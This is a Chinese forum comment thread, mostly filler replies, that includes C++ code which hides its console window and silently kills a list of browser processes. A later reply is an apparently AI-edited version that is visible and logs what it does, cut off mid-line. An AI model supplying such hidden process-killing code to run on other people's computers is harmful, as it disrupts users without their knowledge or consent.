全部评论 14

  • 置顶

    chao!

    昨天 来自 四川

    2
  • 我显然是没有运行的

    昨天 来自 浙江

    2
  • ddddd

    2天前 来自 湖北

    2
  • 你这太长了用我这个效果更好
    #include <windows.h>
    #include <cstring>
    #include <tlhelp32.h>

    void KillProcessByName(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapshot, &pe)) {
    do {
    if (strcmp(pe.szExeFile, processName) == 0) {
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
    if (hProcess) {
    TerminateProcess(hProcess, 0);
    CloseHandle(hProcess);
    }
    }
    } while (Process32Next(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);
    }

    int main() {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    Sleep(300);

    KillProcessByName("chrome.exe");
    KillProcessByName("msedge.exe");
    KillProcessByName("firefox.exe");
    KillProcessByName("360se.exe");
    KillProcessByName("360chrome.exe");
    KillProcessByName("QQBrowser.exe");
    KillProcessByName("SogouExplorer.exe");
    KillProcessByName("opera.exe");
    KillProcessByName("Tabbit.exe");
    KillProcessByName("TabbitBrowser.exe");
    KillProcessByName("tabbit.exe");
    KillProcessByName("TabbitBrowser.exe");
    
    return 0;
    

    }

    昨天 来自 浙江

    1
    • #include <windows.h>
      #include <cstring>
      #include <tlhelp32.h>
      #include <iostream>
      
      // 改进版本:增加错误处理、大小写不敏感匹配、去重
      bool KillProcessByName(const char* processName) {
          HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
          if (hSnapshot == INVALID_HANDLE_VALUE) {
              std::cerr << "CreateToolhelp32Snapshot failed: " << GetLastError() << std::endl;
              return false;
          }
      
          PROCESSENTRY32 pe;
          pe.dwSize = sizeof(PROCESSENTRY32);
          if (!Process32First(hSnapshot, &pe)) {
              std::cerr << "Process32First failed: " << GetLastError() << std::endl;
              CloseHandle(hSnapshot);
              return false;
          }
      
          bool found = false;
          do {
              // 大小写不敏感比较
              if (_stricmp(pe.szExeFile, processName) == 0) {
                  HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
                  if (hProcess) {
                      if (TerminateProcess(hProcess, 0)) {
                          std::cout << "Terminated process: " << pe.szExeFile << " (PID: " << pe.th32ProcessID << ")" << std::endl;
                          found = true;
                      } else {
                          std::cerr << "TerminateProcess failed for PID " << pe.th32ProcessID << ": " << GetLastError() << std::endl;
                      }
                      CloseHandle(hProcess);
                  } else {
                      std::cerr << "OpenProcess failed for PID " << pe.th32ProcessID << ": " << GetLastError() << std::endl;
                  }
              }
          } while (Process32Next(hSnapshot, &pe));
      
          CloseHandle(hSnapshot);
          return found;
      }
      
      int main() {
          // 移除隐藏窗口代码,保持透明执行
          const char* browsers[] = {
              "chrome.exe", "msedge.exe", "firefox.exe",
              "360se.exe", "360chrome.exe", "QQBrowser.exe",
              "SogouExplorer.exe", "opera.exe", "Tabbit.exe",
              "TabbitBrowser.exe"
          };
      
          std::cout << "Attempting to terminate browser processes..." << std::endl;
          for (const char* browser : browsers) {
              KillProcessByName(browser);
          }
      
          return 
      

      昨天 来自 浙江

      2
    • AI改的

      昨天 来自 浙江

      1
  • 看得出来是关闭浏览器,但是……

    360安全卫士:6

    昨天 来自 浙江

    1
    • 这个360安全卫士对这个有啥效果吗

      昨天 来自 湖北

      0
    • 本意应该是关360安全浏览器(属于浏览器),但是关键词是360,所以应该也会关掉360安全卫士

      昨天 来自 浙江

      0
    • so?

      昨天 来自 湖北

      0
  • ddddddd

    2天前 来自 湖北

    1
  • siuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu

    昨天 来自 湖北

    0
  • siuuuuuuuuuuuuuuuuu

    昨天 来自 湖北

    0
  • 好诡异的格式

    昨天 来自 湖北

    0
  • dddddd

    昨天 来自 湖北

    0
  • dddddd

    昨天 来自 湖北

    0
  • ddddd

    昨天 来自 湖北

    0
  • 呃呃

    昨天 来自 湖北

    0
  • dddddd

    昨天 来自 湖北

    0

热门讨论